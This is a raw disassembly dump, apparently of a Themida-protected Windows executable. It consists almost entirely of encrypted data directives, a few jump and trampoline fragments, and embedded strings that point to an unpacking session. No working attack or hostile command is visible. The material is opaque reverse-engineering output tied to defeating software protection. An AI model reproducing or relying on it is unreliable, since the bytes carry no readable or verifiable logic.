dd 0E8005070h, 0BE464E69h, 0B678659h, 6CCF40D3h, 0A62AC448h dd 509D207h, 60A080C1h, 65CAA5h, 166FBF5Dh, 0D438989Ah dd 0E05980h, 1471ED03h, 797393D3h, 6F4AC104h, 3082F950h dd 27772EE4h, 766990ECh, 0C20FA080h, 80AF1199h, 4753225Bh dd 916C1306h, 33800A1h, 73371C61h, 5400E9FEh, 66CF351Bh dd 9606BDAAh, 15B56064h, 0A494880Dh, 67E7C860h, 0EA813C83h dd 2F6053Dh, 2BF47C56h, 7C440BBEh, 0EE192F00h, 0A8DACCFCh dd 19BF6018h, 7071398Fh, 0E98EBE03h, 9FBBDF5Dh, 38C1BCD4h dd 542C0966h, 0DC311214h, 1142F04h, 18E2E6h, 5BCA27FAh dd 1D286E82h, 0BBB052h, 1FB7BE68h, 0BF247C6Ch, 823EBC89h dd 920BA190h, 64D52361h, 4E36AAE0h, 95073179h, 2C439AA1h dd 0F8E890F9h, 50A0052h, 5A754DAAh, 1709627Bh, 908F137h dd 0F9E0805Ch, 733954C4h, 0CE3D00E5h, 40374607h, 0DD25D2C8h dd 0B6823B8h, 3EF900E7h, 66743334h, 0A8001968h, 0FBB5C6A7h dd 260BEAEh, 4A9C7921h, 0E8D9F56Dh, 0C1FFEB00h, 12F3053Ch dd 0C10869EDh, 81C0A810h, 0B408EE0h, 0A0CA4639h, 9A43E6D0h dd 0D0681ABDh, 848090E5h, 0AC75A65Eh, 293F9830h, 11F3C99h dd 45B078D1h, 0DC308A1Bh, 0DB0BE6B5h, 986F1D4Ch, 77293Ch dd 87C9323h, 98E5D5F8h, 12A88954h, 0F90086FAh, 401E3F25h dd 9105AE8h, 0DC720657h, 9A009C44h, 3C2F17BEh, 0FC42127Ah dd 0E0720E95h, 6C81490Dh, 0FD81DEA4h, 6E0424CDh, 90BBE42Dh dd 0E4AB28A0h, 0D27A3ECAh, 6119A333h, 0BDE0D3A8h, 0A42A632Ch dd 0BF98530Eh, 0A2947803h, 443FE2ADh, 6E3604F8h, 40385F93h dd 0BF414440h, 0F9330058h, 7FD446E6h, 0A00B02CFh, 9838CD59h dd 5275BFDCh, 991EEC3Fh, 0B15D0096h, 0BEF4894Ah, 5B676318h dd 5002E559h, 7FC4A4D0h, 0A82E00E1h, 6123A6BFh, 4612896Ch dd 2880D7BBh, 0BE76F58h, 3FAAFC39h, 0FDB57448h, 0D8137200h dd 1EDDE55Fh, 0BE48C4EDh, 0D264A409h, 0D843074Fh, 0CA39DC6Eh dd 0F8F0413Fh, 3DCB2DD0h, 205A2BC4h, 48D7A578h, 4C98E205h dd 30885496h, 47A02C3h, 0E695DAADh, 1B1308D0h, 98045A2Ah dd 3642D450h, 14DA645Bh, 0BD07D891h, 0A7F0CB2Fh, 27CD4C21h dd 78A5DFD2h, 0BFC8A498h, 9532D40Eh, 43EC868h, 0C20BE9A4h dd 9CC045CCh, 61FD673h, 0D0AC69CAh, 0EB80E110h, 68507845h dd 6A123090h, 0C880D77Ch, 17165B77h, 0D01FF567h, 35B94950h dd 3BE2F705h, 84F29639h, 99DF3D18h, 3C01EB1Fh, 22E7E5B0h dd 54787DBDh, 3E9B9900h, 76C21A90h, 0F870EBA1h, 64919873h dd 456FAB00h, 66287Bh, 2AC1F184h, 5F094642h, 4D8EAD01h dd 0F3858387h, 0D5801028h, 0ECB64425h, 0D2ACC100h, 0A0AF328Fh dd 0C23F05EFh, 2091E8D7h, 0AB06CF94h, 291C0A02h, 0C0F394D8h dd 0FF96194h, 0C42CFCB0h, 1BA0C203h, 5D86688h, 0E78E6A00h dd 0BE4906B3h, 0B16316E9h, 82242097h, 51008B89h, 0BDDA6D6Eh dd 99E8C814h, 45608104h, 0E8305CB0h, 6516E9B6h, 0C860C38Dh dd 0ECDD823Eh, 25528DBh, 88F94AD8h, 380E0B50h, 0C3E3D8C8h dd 0F0D3CCC5h, 7F5B7F7h, 24EA37B6h, 6C503036h, 9150BF2Ah dd 9B4C8D1Ch, 87860086h, 79C56BBEh, 6AA800CCh, 0C2CEF13Ah dd 1A582E34h, 246909E4h, 3FC06912h, 0D1D68461h, 104C0E40h dd 8DAAC01Eh, 1C4E8AF3h, 83FF8B2h, 4C37A296h, 2A802840h dd 0D0E56CACh, 7CA7B72Eh, 50C85612h, 259F0054h, 158746BBh dd 0BC01553Dh, 0EF5ECD4Bh, 9EE119D1h, 4180C468h, 0A169A551h dd 0BCFF4800h, 13DBE0C0h, 0B51A079Bh, 59C3AA6Dh, 0F221DCA4h dd 0C89700ECh, 953FE755h, 0BA200756h, 0E3D22503h, 7CF01E19h dd 0EF00ABE8h, 2D9DDAAEh, 16B59E45h, 0D03B0D78h, 0EE14C9E4h dd 0FD007B7Ah, 1117FFFAh dd 16E35A9h, 944A0674h, 300A0792h, 9CA0938Ch, 5E445B02h dd 2CF5002Eh, 639ED13Ah, 94A43C54h, 277DF44h, 0F46C8178h dd 0D8E0F59Dh, 1B5CA3E8h, 28361FF6h, 388B795Fh, 0F7E8495Ch dd 0CF3AC47Ch, 63864604h, 3648F43Ah, 89C45F58h, 2C646Eh dd 0B11DBA76h, 8F35E1B3h, 0F7070100h, 13486206h, 419C05ECh dd 0C08B4297h, 0BE2CBDF0h, 0B033054Ah, 77A99196h, 5219037h dd 75000E1Ch, 960D4998h, 85960E6h, 2DDE4DDFh, 0C1313C00h dd 79FFB182h, 351D0087h, 0AFAAFA42h, 0E550B44Bh, 8D07CD18h dd 0D07FC5E6h, 506B007Bh, 16BE301Ch, 13602h, 106CFF59h dd 791F28A2h, 0F41F4844h, 0D37441B0h, 313B00A9h, 2E4C460Fh dd 80F9EA6Ah, 0FB392698h, 2F68F166h, 0F272C6BAh, 0AFFA0F07h dd 727014A5h, 1B5153FFh, 39D9B577h, 85401BE2h, 0DB011DD8h dd 0F0783F9Dh, 218FE4B2h, 0EC23AB5Bh, 0B7800C86h, 300C26Fh dd 0DE8D9B37h, 4E0579h, 38DB324Fh, 230458B9h, 6F00CFB0h dd 0B45E48CEh, 606B2EA6h, 341651EFh, 9F24E4FAh, 9C00E713h dd 676EF598h, 88C900DCh, 0B3190428h, 30C0F9BEh, 6F8279A1h dd 0AAF80786h, 0F0DA3FD3h, 8AA945B7h, 0ABDDC500h, 4A676072h dd 0AD6D037Eh, 14833DFAh, 935CF7B0h, 0D0F9C707h, 0B8306B2Ch dd 50A961B0h, 0A770B5h, 754A0954h, 0DB9F24E5h, 0B850702Ah dd 954DB00Ah, 0BCFC9Ah, 0BA5547DAh, 6AC3D9h, 2F66983Ch dd 0C726CBC1h, 0D22CFF12h, 6EEDD001h, 0BAD9AF4Ch, 61C9F0E0h dd 0B84940FEh, 647980DCh, 28933126h, 0A71C00BCh, 338B8AEEh dd 4C035C7Dh, 90459E0h, 0BE3900F1h, 0B6479862h, 10141B5h dd 754892C4h, 76D45727h, 5D5600D4h, 0F64BFF96h, 680183D8h dd 91535FFCh, 4052A8EFh, 0F2320D9h, 300044E8h, 0E5056676h dd 60B4F37Dh, 0F9321EDh, 0CA38BED8h, 5D308F61h, 1411809Fh dd 16099EDh, 3B90504Bh dword_549154 dd 434A078Eh, 45A88B90h, 62057B63h, 27F42D1Fh, 83EA9C40h ; DATA XREF: Themida_:loc_55E0E5o dd 0E98EFECh, 8CC2D25Bh, 0B66FE340h, 4212FE09h, 10206E2Eh dd 72B20DBh, 13D35D62h, 3273839Eh, 0B672490Ch, 1F6529E6h dd 255642F5h, 40CCCC0h, 67467F03h, 2DFD08C3h, 8B802EF1h dd 786CEDB9h, 486E6100h, 252F029Fh, 7E6A00C5h, 300E772Eh dd 4B03B004h, 62183EDEh, 6E83E767h, 815C8FE5h, 4B7300F5h dd 5D9D2116h, 0F102DB95h, 19641CA2h, 92C8402Bh, 62350385h dd 0AF5B6D04h, 0F98E8F98h, 0AC7AA700h, 5FDB58DAh, 2051D814h dd 0AE125586h, 34226FFFh, 289C91E6h, 187E4h, 1FB5EEB7h dd 4E54B0FEh, 342B801Eh, 0E9B09D9Fh, 58F15D6Fh, 0BC00574Ch dd 6C2C4779h, 8700C1E1h, 31A653C5h, 181F7403h, 612188DBh dd 0B70CBA2Eh, 4902083Eh, 0A1F00A8h, 0ACD3C43Dh, 6454FFB0h dd 3A0196B8h, 0CE5D61BFh, 43F5E350h, 0F819C0B9h, 0D5EA8041h dd 0F7FA805Fh, 0F7388EFh, 0F510285Eh, 51B30068h, 157ADEBh dd 0F41CD4DCh, 0C980332Dh, 0AF65058Ah, 9BB606A6h, 79E28F2Eh dd 30098E24h, 33525880h, 4C5BBh, 0F6C2D45h, 0AF2CC999h dd 791450FDh, 6F098D53h, 934C2D7Fh, 0C1340290h, 0D06C050Ch dd 0A063C587h, 1138EDE8h, 0E67016B0h, 0B5DF718h, 3D925E49h dd 8F3D66D9h, 0F000C6D1h, 0E2DEEF88h, 0E4F8E90Fh, 0F86D0011h dd 6BF42A67h, 9422DB45h, 0C0BA0A22h, 87A0F187h, 0F07102EDh dd 0F303CA77h, 8E0F4E26h, 49925A1Ch, 9388031h, 0B3C2A840h dd 9210C04Dh, 85BB68Eh, 1E717E03h, 0DDE5E1C4h, 959DC000h dd 60845337h, 0F6597068h, 9309E1D0h, 180818BCh, 73DC19D0h dd 0EA9A387Fh, 99F260FCh, 2A9D072Dh, 2CE46D00h, 0E583F980h dd 14B0FE68h, 1CCFE3Bh, 0D8FEFFBFh, 0 db 0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_549345: ; CODE XREF: start:loc_4E1265j ; DATA XREF: start:loc_4E1086o jmp loc_54C83E ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 304h dd 7FFEh, 4 dup(0) dd 0A4C60000h, 54h, 3 dup(0) dd 10000h, 4 dup(0) dd 5AC00000h, 5Bh, 6 dup(0) dd 620000h, 0Dh dup(0) dd 740000h, 0 dd 82C10000h, 76CD0000h, 77E7h, 0 dd 45A70000h, 0C7854240h, 77E7h, 8 dup(0) dd 43650000h, 0FFA7h, 2 dup(0) dd 56430000h, 5 dup(0) dd 70F90000h, 331Eh, 99E90000h, 8 dup(0) dd 2FE80000h, 77E8h, 0Ah dup(0) dd 0F6FB0000h, 58h, 72BF0000h, 0E7320000h, 58h, 0BFFF0000h dd 0A07Fh, 0Fh dup(0) dd 800000h, 5 dup(0) dd 68DD0000h, 0CCE4005Ah, 3B17h, 3 dup(0) dd 3040000h, 7FFEh, 1C480000h, 0 dd 0E0A00000h, 94990059h, 0A1h, 6 dup(0) dd 30380000h, 55691FA9h, 7 dup(0) dd 0EC0000h, 2 dup(0) dd 3040000h, 7FFEh, 0B2AA0000h, 319Eh, 9FF80000h, 0A037FFFFh dd 0FFFF00A1h, 0F9457DFAh, 70C40EECh, 0D7C800A1h, 0FFA7h dd 4 dup(0) dd 12540000h, 77F5h, 28380000h, 58h, 0B7510000h, 0A07Fh dd 3 dup(0) dd 69DD0000h, 0A1h, 7 dup(0) dd 0FE180000h, 0FFBFh, 10000h, 0 dd 931F0000h, 7F60h, 8 dup(0) dd 3040000h, 0E97FFEh, 4, 5 dup(0) dd 0FFFF0000h, 0FFFFh, 4 dup(0) dd 28020000h, 10100000h, 8 dup(0) dd 0EA230000h, 1D8F005Bh, 1, 0Fh dup(0) dd 5CF50000h, 0FDEAh, 4 dup(0) dd 758D0000h, 8001h, 0Ah dup(0) dd 1B400000h, 0D88476B4h, 4D16h, 2 dup(0) dd 0C7260000h, 77E7h, 304F0000h, 59h, 0 dd 6B670000h, 0F086h, 3 dup(0) dd 0A40000h, 58160000h, 58h, 3 dup(0) dd 84E50000h, 7F8Fh, 5AA60000h, 2 dup(0) dd 0FE60000h, 0A0h, 2C910000h, 0D536h, 284A0000h, 58h dd 0DB990000h, 4 dup(0) dd 0FCFC0000h, 1168001h, 5Ch, 37600000h, 0A8DCE918h, 40057h dd 5 dup(0) dd 0FFFE0000h, 0FFFFh, 2 dup(0) dd 0DC5B0000h, 646Ah, 9 dup(0) dd 39200000h, 0A2h, 3 dup(0) dd 2DF00000h, 1ECCh, 7 dup(0) align 8 dd 23BC0057h, 0FFFFh, 4 dup(0) dd 8CE00000h, 0FFFFh, 1Ch dup(0) dd 0FFFF0000h, 0FFFFh, 2 dup(0) dd 0BEB30000h, 5Ch, 0 dd 9C0000h, 6 dup(0) dd 3040000h, 7FFEh, 6 dup(0) dd 0E5860000h, 0E1Dh, 0 dd 0FF540000h, 12h, 8 dup(0) dd 234A0000h, 91AB0014h, 59h, 0 dd 9F70000h, 0A1h, 776F0000h, 5Bh, 0Bh dup(0) dd 77DF0000h, 0FFC477E7h, 12h, 0E00000h, 6030h, 0 dd 56430000h, 0 dd 0FF540000h, 12h, 8 dup(0) dd 0FFFE0000h, 0FFFFh, 0 dd 69DD0000h, 0A1h, 4 dup(0) dd 34810000h, 3B1102E5h, 23E80ABEh, 0CD0E00A2h, 5Ch, 3 dup(0) dd 28380000h, 58h, 2 dup(0) dd 519D0000h, 0B368h, 6 dup(0) dd 22220000h, 22222222h, 8CE02222h, 0FFFFh, 30DF0242h dd 0FFBAA9C5h, 3762FF53h, 9BAC0058h, 0A3h, 3 dup(0) dd 3E680000h, 77E8h, 0Dh dup(0) dd 10000h, 90400000h, 0B134FFFFh, 0A3h, 8DB10000h, 0 dd 0C4860000h, 77E7h, 8 dup(0) dd 0CA000000h, 3, 7 dup(0) dd 0C49D0000h, 5Ch, 0 dd 0CC0000h, 5 dup(0) dd 40h, 2Bh dup(0) dd 33330000h, 2 dup(33333333h), 3333h, 5 dup(0) dd 97E80000h, 0FFFFh, 0 dd 20000h, 0 dd 77F5h, 58160000h, 58h, 3 dup(0) dd 0B36C0000h, 0EF73h, 0 dd 2B3C0000h, 7FFEh, 10000h, 24E40000h, 6352h, 10000h dd 91A20000h, 97h dup(0) dd 230000h, 99950054h, 0A5h, 4 dup(0) dd 0FF380000h, 12h, 0 dd 3040000h, 7FFEh, 4 dup(0) dd 0FDBB0000h, 59h, 94A00000h, 5D1CFFFFh, 0CB40h, 2 dup(0) dd 24Ah, 2 dup(0) dd 0CBFD0000h, 5Ch, 28380000h, 1E920058h, 2838098Fh, 58h dd 3 dup(0) dd 3040000h, 96507FFEh, 0FFFFh, 0 dd 31540000h, 0A2h, 3 dup(0) dd 3040000h, 7FFEh, 7 dup(0) dd 0FE170000h, 2292FFA3h, 0A1h, 0Bh dup(0) dd 0C3520000h, 0BE80003h, 0FFB0005Ah, 20161h, 0FC670000h dd 59h, 5 dup(0) dd 0BA9A0000h, 54h, 2 dup(0) dd 3040000h, 7FFEh, 5 dup(0) dd 10400000h, 0B1h, 3 dup(0) dd 0DC790000h, 0ED8959B9h, 1758h, 3 dup(0) dd 616A0000h, 5FCDh, 3 dup(0) dd 3E6300B8h, 57h, 2 dup(0) dd 3040000h, 7FFEh, 0Dh dup(0) dd 7D10000h, 0B10E0000h, 0DB1Bh, 3 dup(0) dd 25Dh, 3 dup(0) dd 0A1FE0000h, 0B1h, 0 dd 0C96A0000h, 66C077D4h, 3536h, 92340000h, 0B8AF00A1h dd 6276h, 2 dup(0) dd 0B1680000h, 0A0h, 2 dup(0) dd 2E0F0000h, 75377F5h, 0FFA7h, 0 dd 0E1090000h, 59h, 8E000000h, 3 dup(0) dd 58160000h, 58h, 8 dup(0) dd 72BF0000h, 10000h, 6 dup(0) dd 7FD80000h, 1F800A3h, 9, 6 dup(0) dd 230000h, 0C96A0054h, 77D4h, 3 dup(0) dd 50910000h, 59h, 0AC5E0000h, 0C49B77E7h, 0ED76005Ch dd 5Bh, 2 dup(0) dd 11110000h, 727C1111h, 1431h, 0 dd 8C0A0000h, 0A1h, 24670000h, 0FFFFh, 0Ah dup(0) dd 10140000h, 0Eh, 0 dd 0AA5D0000h, 0AA3B0058h, 58h, 0 dd 0E90000h, 4, 65520000h, 72617473h, 70704174h, 6578652Eh dd 0E1090000h, 59h, 3 dup(0) dd 4EC80000h, 80F4h, 0A4C30000h, 0B0513FFh, 57h, 6B360000h dd 30DFFA3Eh, 8C0A0000h, 0F4B200A1h, 0C154h, 2B170000h dd 6424h, 0Ch dup(0) dd 0A0990000h, 19C677E7h, 8AC5h, 0 dd 10000000h, 40h, 2 dup(0) dd 0A34B0000h, 8818h, 9 dup(0) dd 69390000h, 5Ah, 8 dup(0) dd 0FF540000h, 12h, 0 dd 0FFFF77DDh, 0FFFFh, 13h dup(0) dd 389E0000h, 1E77h, 0 dd 79630000h, 77E7h, 2 dup(0) align 8 dd 0DA3h, 3 dup(0) dd 0B8380000h, 0FFFFh, 0 dd 0D80000h, 4 dup(0) dd 25Ch, 2 dup(0) dd 28380000h, 940058h, 0 dd 2D860000h, 5Dh, 0B80000h, 0 dd 0FCAB0000h, 59h, 4 dup(0) dd 0FFFF0000h, 7FFFh, 4 dup(0) dd 0B1CA0000h, 0AFh, 3 dup(0) dd 0FFFE0000h, 0FF53h, 0 dd 3040000h, 23E87FFEh, 0A2h, 9 dup(0) dd 0C03D0000h, 1, 22h dup(0) dd 9BC30000h, 8329h, 5 dup(0) dd 0BA9B0000h, 0D7C80054h, 0FFA7h, 2A0000h, 0Eh dup(0) dd 0CF000000h, 3040054h, 7FFEh, 0FFF00000h, 77FFh, 0 dd 0F210000h, 0A1h, 0 dd 0F4FB0000h, 0FFA8h, 3 dup(0) dd 3C1C0000h, 0BC6Eh, 91A20000h, 7 dup(0) dd 22D80000h, 0A2h, 0FFFF0000h, 0FFFFh, 2 dup(0) dd 3040000h, 7FFEh, 780000h, 0 dd 6CCD0000h, 296Ah, 10h dup(0) dd 22D80000h, 0A2h, 24h dup(0) dd 0FCB10000h, 0CDB0h, 0A0h, 0 dd 72BF0000h, 8 dup(0) dd 40h, 5 dup(0) dd 6BD30000h, 0CF00024Ah, 54h, 0D4370000h, 407Ch, 35B0000h dd 0 dd 270E0000h, 8899h, 3040000h, 7FFEh, 3040000h, 7FFEh dd 6E380000h, 58h, 0 dd 8CE00000h, 0FFFFh, 0 dd 72BF0000h, 4 dup(0) dd 6EA90000h, 4C8h, 10000h, 2 dup(0) dd 0FCFC0000h, 8001h, 0 dd 20000h, 3E3B0000h, 0E900A1h, 4, 8 dup(0) dd 0D8840000h, 4D16h, 0BE9B0000h, 0D9CCh, 0FFE00000h, 12h dd 3 dup(0) dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 39h dup(0) dd 3040000h, 7FFEh, 5 dup(0) dd 0FF3C0000h, 0FFFFh, 0 dd 190000h, 0 dd 0AD8A0000h, 5A2h, 0 dd 6CB00000h, 0A1h, 3 dup(0) dd 40000000h, 5Bh, 3 dup(0) dd 35A00000h, 200Ch, 2 dup(0) dd 12660000h, 7FFEh, 2 dup(0) dd 2F380000h, 5Dh, 66E80000h, 3 dup(0) dd 3040000h, 7FFEh, 0C6E00000h, 6617EDD4h, 0FFFFh, 3 dup(0) dd 0DE0D0000h, 5Bh, 0 dd 25Bh, 0BAE70000h, 0E250h, 3 dup(0) dd 66FE0000h, 0FF54FFA4h, 12h, 93930000h, 0A1h, 28380000h dd 58h, 0 dd 5ECC0000h, 5FDE77DDh, 8AC5h, 0 dd 8D8D0000h, 0CE56h, 0 dd 0Ch, 7B8977D4h, 5Bh, 3 dup(0) dd 3E0000h, 0A0h, 0EBB30000h, 30477F7h, 7FFEh, 8B820000h dd 77E7h, 30DF0000h, 0A9C5h, 0BE90000h, 5F80h, 9 dup(0) dd 2EF50000h, 0A03Ch, 4 dup(0) dd 20000h, 5 dup(0) dd 7DB40000h, 58h, 2 dup(0) dd 40h, 0 dd 61530000h, 59h, 2F890000h, 0AB00h, 9AE00000h, 2C5h dd 0FF7A0000h, 8400FFh, 3E0000h, 77E6h, 5 dup(0) dd 273A0000h, 3E5Fh, 2 dup(0) dd 0A8370000h, 77E7h, 0 dd 3040000h, 7FFEh, 0Bh dup(0) dd 52CC0000h, 0A1Fh, 4 dup(0) dd 0A5E70000h, 60B500A5h, 9D7h, 6BE80000h, 5CB500B2h, 77E7h dd 8 dup(0) dd 9C370000h, 0A1h, 0FFE00000h, 0FFB00012h, 231h, 2 dup(0) dd 0F0000000h, 8E00004Dh, 0 dd 1F00000h, 0BF30h, 0 dd 40h, 28380000h, 58h, 10h dup(0) dd 0D7C80000h, 0FFA7h, 3 dup(0) dd 43C00000h, 0C4869785h, 8CE877E7h, 0FFFFFFFFh, 0FFFFh dd 6180000h, 77E8h, 0FF4E0000h, 8C7CB4FBh, 0 dd 0F6F40000h, 21688005h, 77E8h, 3 dup(0) dd 40000h, 8 dup(0) dd 1000000h, 3 dup(0) dd 0B8590000h, 5Ch, 3 dup(0) dd 0E9800000h, 0FBFB005Bh, 5BEAh, 3 dup(0) dd 6C0000h, 10000000h, 0Ch dup(0) dd 3A10000h, 0 dd 0A5380000h, 0DD45FFFFh, 58h, 1B700000h, 0B7h dup(0) dd 99E90000h, 0 dd 0A3450000h, 98B383h, 0 dd 0FFA40000h, 12h, 0 dd 0A1540000h, 5Bh, 0BEE30000h, 58h, 2 dup(0) dd 10000h, 2 dup(0) dd 0CF000000h, 54h, 3 dup(0) dd 68540000h, 64696D65h, 61h, 1Ch dup(0) dd 0BF4A0000h, 54h, 0 dd 72BF0000h, 6CB00000h, 0 dd 72BF0000h, 0Bh dup(0) dd 10000h, 5 dup(0) dd 93500000h, 0FFFFh, 40B60000h, 0FFABh, 4A610000h, 9BDEh dd 0A00000h, 2 dup(0) dd 3040000h, 37627FFEh, 58h, 0FF2D0000h, 5Bh, 0 dd 2ED40000h, 5 dup(0) dd 0DC0000h, 3 dup(0) dd 0FF540000h, 12h, 10750000h, 0FFA8h, 0 dd 8, 5 dup(0) dd 9B60h, 17A00000h, 85A3h, 0E40000h, 10000h, 6, 0Ch dup(0) dd 0E1090000h, 59h, 180B0000h, 2D8677F5h, 76CD005Dh, 77E7h dd 3 dup(0) dd 23D70000h, 2FDF77DDh, 29E1h, 8 dup(0) dd 0C9390000h, 57h, 8B600000h, 3A0BD8Dh, 0FD450000h, 7FFEh dd 9 dup(0) dd 0B2260000h, 0FFA7h, 0C9610000h, 57h, 2 dup(0) dd 0E800000h, 7 dup(0) dd 0D8680000h, 78DF0058h, 721Bh, 0 dd 73160000h, 698500A3h, 58h, 5 dup(0) dd 27100000h, 189A0000h, 77DDh, 9 dup(0) dd 6A2E0000h, 77E7h, 4 dup(0) dd 5B040000h, 7FFEh, 0 dd 0C3060000h, 54h, 3 dup(0) dd 800000h, 76D10000h, 83C005Ah, 0 dd 1C7C0000h, 0F2BBh, 2 dup(0) dd 40h, 57C90000h, 8818h, 5 dup(0) dd 74950000h, 12E1h, 0 dd 69DD0000h, 0F05C00A1h, 28A3h, 6 dup(0) dd 0EF180000h, 0F6FAFFFFh, 58h, 6 dup(0) dd 6536025Bh, 0CE3Ch, 3 dup(0) dd 3040000h, 7FFEh, 20000h, 2 dup(0) dd 0A00F0000h, 0A1h, 10000h, 56430000h, 0 dd 24670000h, 0BF4AFFFFh, 54h, 9 dup(0) dd 531D0000h, 57h, 500000h, 0D25DFE8Eh, 23CE0059h, 5Ah dd 0 dd 75000000h, 2 dup(0) dd 77DF0000h, 77E7h, 20000h, 0 dd 72730000h, 0B0FDh, 2 dup(0) dd 3040000h, 7FFEh, 0 dd 0D6940000h, 0F2D20054h, 0A00FF812h, 0A1h, 2 dup(0) dd 2FE80000h, 77E8h, 0 dd 178A0000h, 0FFFFh, 0 dd 0D3970000h, 54h, 3 dup(0) dd 40h, 99E90000h, 7 dup(0) dd 30DF0000h, 0A9C5h, 8 dup(0) dd 0D5540000h, 0A0h, 25C70000h, 55E9h, 3 dup(0) dd 90400000h, 0FFFFh, 0A80000h, 0 dd 22880000h, 59h, 2 dup(0) dd 0D2100000h, 2000E133h, 3, 0A00F0000h, 0A1h, 0 dd 7E40000h, 8002h, 2 dup(0) dd 519D0000h, 0B368h, 9CBB0000h, 2838005Ch, 200058h, 0FFEDh dd 0Ch dup(0) dd 4AD00000h, 12h, 0 dd 3040000h, 0 dd 0A00F0000h, 2BDE0058h, 418000A1h, 77E8h, 7 dup(0) dd 700000h, 35A90000h, 1Eh, 0Bh dup(0) dd 0FA560000h, 369500A1h, 7C43h, 2 dup(0) dd 18F50000h, 59F00058h, 77DDh, 2 dup(0) dd 72BF0000h, 0Ah dup(0) dd 0B2FE0000h, 0FF543C2Fh, 24240012h, 2424h, 2 dup(0) dd 10000h, 5 dup(0) dd 37620000h, 0BF860058h, 54h, 5 dup(0) dd 48120000h, 0 dd 0CF030000h, 13A893EBh, 0 dd 7710000h, 2C0Eh, 6 dup(0) dd 3C880000h, 2BDFh, 5 dup(0) dd 1050000h, 0A28h, 33FB0000h, 77E7h, 36360000h, 3636h dd 3E680000h, 2, 0E98C0000h, 58h, 2 dup(0) dd 3040000h, 46287FFEh, 7C190014h, 7FA5h, 0FFBA0000h, 0FF53h dd 8DBD025Ah, 0E93Ch, 9 dup(0) dd 0B5160000h, 54h, 8 dup(0) dd 0BE770000h, 4EDEh, 0 dd 289h, 4 dup(0) dd 76CD0000h, 77E7h, 6 dup(0) dd 0DB990000h, 3 dup(0) dd 22D80000h, 0A2h, 9 dup(0) dd 539D0000h, 81A3FBBh, 2 dup(0) dd 40h, 7 dup(0) dd 16FE0000h, 0 dd 0B69C0000h, 5Ch, 0Ch dup(0) dd 0F2130000h, 5Bh, 0 dd 8D8D0000h, 0E93Ch, 283800AFh, 4F190058h, 2BECh, 0 dd 38C00000h, 0A2h, 182B0000h, 636Eh, 0 dd 0A2970000h, 59h, 7 dup(0) dd 0E19D0000h, 0 dd 352A0000h, 16A2h, 0 dd 32680000h, 400000A2h, 5Bh, 2 dup(0) dd 0E79A0000h, 70DAh, 787A0000h, 3067h, 69DD0000h, 8800A1h dd 2 dup(0) dd 900000h, 2 dup(0) dd 0E2470000h, 59h, 0 dd 96C70000h, 0FFA5h, 0Fh dup(0) dd 8B820000h, 1D5277E7h, 1, 69h dup(0) dd 6B9C0000h, 24Ah, 2 dup(0) dd 21680000h, 77E8h, 76CD0000h, 77E7h, 289h, 99E90000h dd 0 dd 5D430000h, 6D6Ah, 3 dup(0) dd 8D410000h, 0FFFFh, 3 dup(0) dd 0C7850000h, 72BF77E7h, 0 dd 27BB0000h, 5Ah, 10000h, 0FFB00000h, 1E1h, 2 dup(0) dd 90BC0000h, 7CFFFFh, 2D8E0000h, 6276h, 7DB40000h, 0DBF00058h dd 18F577F5h, 58h, 8 dup(0) dd 3D450000h, 77E7h, 3040000h, 7FFEh, 6 dup(0) ; --------------------------------------------------------------------------- inc eax add [ebx-73h], dl movsd add [esi], ah jmp near ptr byte_54F75F ; --------------------------------------------------------------------------- dd 3 dup(0) dd 0FE840000h, 8E50h, 27h dup(0) dd 2ED40000h, 5 dup(0) dd 0B40000h, 0 dd 60B00000h, 0CC37h, 0Fh dup(0) dd 59170000h, 0FFB0h, 72BF0000h, 0 dd 3040000h, 7FFEh, 88200000h, 40058h, 9 dup(0) dd 10000h, 5 dup(0) dd 3040000h, 0DF917FFEh, 128Fh, 6 dup(0) dd 0AC0000h, 0A1B60000h, 54h, 0D80000h, 3 dup(0) dd 0AC0000h, 7 dup(0) dd 90200000h, 300h, 3 dup(0) dd 37D00000h, 2 dup(0) dd 1B70000h, 528Ah, 2 dup(0) dd 18E30000h, 77FCh, 5 dup(0) dd 40h, 2 dup(0) dd 3040000h, 7FFEh, 4 dup(0) dd 4500000h, 4 dup(0) dd 6BC60000h, 0BACFh, 0A5FD0000h, 34F677E7h, 0D39FCC19h dd 1EE7h, 2 dup(0) dd 0E0000000h, 8112000Dh, 0B86771h, 0B000000h, 0C20374C0h dd 448B0018h, 0E8530C24h, 0 ; --------------------------------------------------------------------------- pop ebx add ebx, 17h mov [esp+10h], ebx mov [esp+14h], eax pop ebx mov eax, 0A1A037h jmp eax ; --------------------------------------------------------------------------- mov eax, [esp+4] jmp eax ; --------------------------------------------------------------------------- align 4 dd 12h dup(0) dd 2BBA0000h, 3 dup(0) dd 9F70000h, 0A1h, 0 dd 0B2AE0000h, 0 dd 60000000h, 0B6F4001Dh, 0E8A7h, 4 dup(0) dd 6A2E0000h, 77E7h, 99E90000h, 0FFF00000h, 0DD470012h dd 58h, 6 dup(0) dd 3040000h, 0C6E07FFEh, 57h, 0D9AC0000h, 574h, 4 dup(0) dd 0D7060000h, 77E6h, 10000h, 580000h, 0C1900000h, 57h dd 0FEF00000h, 12h, 0 dd 0A2060000h, 0FEF2h, 3 dup(0) dd 3040000h, 0AB377FFEh, 1944h, 2 dup(0) dd 12C00000h, 5Ch, 0BF200000h, 0 dd 0EF150000h, 1560FFFFh, 0A2h, 0 dd 915B0000h, 0A1h, 4 dup(0) dd 77E6h, 3 dup(0) dd 1F00000h, 23BF30h, 54h, 12h dup(0) dd 9A590000h, 0FFFCFFFFh, 0FFFFh, 7 dup(0) dd 72BF0000h, 0D9070000h, 53E3h, 0 dd 0F0A90000h, 740058h, 0 dd 80370000h, 3041h, 5BB50000h, 5Bh, 7 dup(0) dd 48ED0000h, 0DD8Bh, 20000h, 3 dup(0) dd 212E0000h, 8CFFBBh, 6 dup(0) dd 28380000h, 0DFBE0058h, 843h, 3 dup(0) dd 5CB50000h, 6B9C77E7h, 24Ah, 3 dup(0) dd 0A6E90000h, 77EBh, 2 dup(0) dd 3A1D0000h, 0C6C60057h, 57h, 8 dup(0) dd 18F50000h, 58h, 8 dup(0) dd 71B10000h, 4 dup(0) dd 35180000h, 9E100000h, 5E2EFFFFh, 100A1h, 77D4h, 9 dup(0) dd 72BF0000h, 9DA80000h, 57h, 0 dd 3A430000h, 755F6D5Ch, 6361706Eh, 72656Bh, 7Ch dup(0) dd 